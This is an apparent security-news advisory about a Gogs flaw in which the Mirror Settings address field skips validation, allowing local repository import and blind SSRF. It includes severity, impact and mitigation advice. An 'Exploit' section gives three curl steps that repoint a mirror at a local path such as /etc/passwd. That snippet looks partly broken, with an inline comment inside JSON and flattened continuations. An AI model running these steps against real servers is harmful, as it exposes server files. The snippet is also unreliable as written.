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How CVE-2026-52801 Works
Gogs is a self-hosted Git service written in Go. It provides a “New Migration” feature that allows authenticated users to import repositories from external sources. This feature includes validation mechanisms to restrict the types of sources that can be imported—specifically, it blocks attempts to import repositories from the local filesystem to prevent unauthorized access to server data.
The vulnerability exists in the “Mirror Settings” functionality, which is accessible to any authenticated user for repositories they own or have administrative access to. Unlike the New Migration feature, the Mirror Settings `SaveAddress` function does not perform input validation on the repository address provided by the user. This lack of validation allows an attacker to supply a local file system path (e.g., /path/to/repo) instead of a remote URL when configuring or updating a repository mirror.
When the mirror synchronization process runs, Gogs attempts to clone or fetch from the provided address. If the address points to a local path, the Git operation executes against the server’s filesystem using the permissions of the Git user. This creates an alternative, unvalidated pathway to import local repositories, bypassing the protections enforced by the New Migration functionality.
An attacker can exploit this by first creating a normal migration with a valid remote repository to establish a mirrored repository. Then, through the Repository Settings → Mirror Settings page, they can modify the “Mirror Address” to point to a local repository path. Upon the next synchronization (manual or automatic), Gogs will import the local repository, disclosing its contents. Beyond local repository import, this also introduces a blind Server-Side Request Forgery (SSRF) risk, as the server can be made to interact with internal network resources.
DailyCVE Form:
Platform: Gogs
Version: ≤ 0.14.2 (vulnerable)
Vulnerability: Improper Input Validation
Severity: Medium (CVSS 4.0: 6.5)
date: 2026-06-19
Prediction: 2026-06-30 (estimated patch)
What Undercode Say
The vulnerability stems from inconsistent validation across different repository import mechanisms. The New Migration feature includes robust checks, while Mirror Settings lacks equivalent sanitization of the `SaveAddress` input. This inconsistency allows a low-privileged authenticated user to escalate their access to read any repository accessible to the Git user on the server filesystem. The blind SSRF aspect further expands the attack surface, enabling internal network reconnaissance. The issue is reminiscent of similar path traversal and SSRF vulnerabilities found in other self-hosted Git platforms, such as Gitea (CVE-2019-11229). Administrators should treat this as a priority for patching, especially in multi-tenant environments.
Exploit
Step 1: Create a normal migration with a valid remote repository to establish a mirrored repository.
Using Gogs API to create a migration (example)
curl -X POST "http://gogs.example.com/api/v1/repos/migrate" \
-H "Authorization: token <YOUR_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://github.com/example/valid-repo.git",
"repo_name": "victim-repo",
"mirror": true,
"private": false
}'
Step 2: Update the mirror address to a local repository path using the vulnerable Mirror Settings endpoint.
Update mirror address via API (or through the web UI)
curl -X PATCH "http://gogs.example.com/api/v1/repos/<username>/<repo>/mirror" \
-H "Authorization: token <YOUR_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"mirror_address": "/etc/passwd" Local path to sensitive file
}'
Step 3: Trigger manual synchronization to import the local repository.
curl -X POST "http://gogs.example.com/<username>/<repo>/settings/mirror" \ -H "Authorization: token <YOUR_TOKEN>" \ -d "action=update"
Protection
- Upgrade Gogs to the latest patched version (≥ 0.14.3) as soon as it becomes available.
- Apply input validation to the `SaveAddress` function to reject local file system paths and non-URL inputs.
- Restrict mirror settings to administrative users only, if possible.
- Enable `LOCAL_NETWORK_ALLOWLIST` to explicitly control which local hosts can be accessed.
- Disable local path migration globally by setting `ENABLE_LOCAL_PATH_MIGRATION = false` in the Gogs configuration.
- Monitor logs for suspicious mirror address changes or failed clone attempts from local paths.
Impact
- Information Disclosure: Authenticated users can import and read any repository accessible to the Git user on the server filesystem, potentially exposing sensitive source code, configuration files, and credentials.
- Denial of Service: Malicious local paths or malformed inputs could cause the Git process to hang or crash, leading to service disruption.
- Blind SSRF: The server can be used to probe internal network services, potentially revealing internal infrastructure details.
- Privilege Escalation: An attacker with low privileges can access repositories they would not normally have permission to view, bypassing the intended access controls of the New Migration feature.
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Sources:
Reported By: github.com
Extra Source Hub:
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